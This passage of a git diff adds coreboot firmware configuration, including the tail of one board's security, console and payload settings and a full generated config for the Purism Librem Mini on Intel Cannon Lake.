+CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM2=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM2=y +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_TYPE41_PROVIDED_BY_DEVTREE=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +CONFIG_DISPLAY_FSP_VERSION_INFO=y +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_IPMI is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_mini.config b/config/coreboot-librem_mini.config index 085f8bf7e..e85774488 100644 --- a/config/coreboot-librem_mini.config +++ b/config/coreboot-librem_mini.config @@ -1,21 +1,789 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y +# CONFIG_STATIC_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Librem Mini" +CONFIG_MAINBOARD_PART_NUMBER="Librem Mini" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="purism/librem_cnl" +CONFIG_VGA_BIOS_ID="8086,3ea0" +CONFIG_DIMM_MAX=2 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="Purism" CONFIG_CBFS_SIZE=0xC00000 +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="librem_mini" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" CONFIG_INTEL_GMA_VBT_FILE="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/vbt.bin" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xe00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/librem_mini/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/librem_mini/cmos.layout" +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_PXE_ROM_ID="10ec,8168" +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/me.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_EDK2_BOOT_TIMEOUT=4 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini" CONFIG_HAVE_IFD_BIN=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set CONFIG_BOARD_PURISM_LIBREM_MINI=y +# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_14 is not set +# CONFIG_BOARD_PURISM_LIBREM_11 is not set +# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 +# CONFIG_ENABLE_EC_UART1 is not set +CONFIG_FSP_TEMP_RAM_SIZE=0x10000 +CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="cnl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=16 +CONFIG_MAX_PCIE_CLOCK_SRC=6 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CoffeeLakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/CoffeeLakeFspBinPkg/Fsp.fd" +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_INTEL_CANNONLAKE_BASE=y +CONFIG_SOC_INTEL_WHISKEYLAKE=y +CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_SBI=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y +CONFIG_ME_SPEC=12 +CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_HECI_DISABLE_USING_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_X86_CLFLUSH_CAR=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_cnl/cpu_microcode_blob.bin" + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y 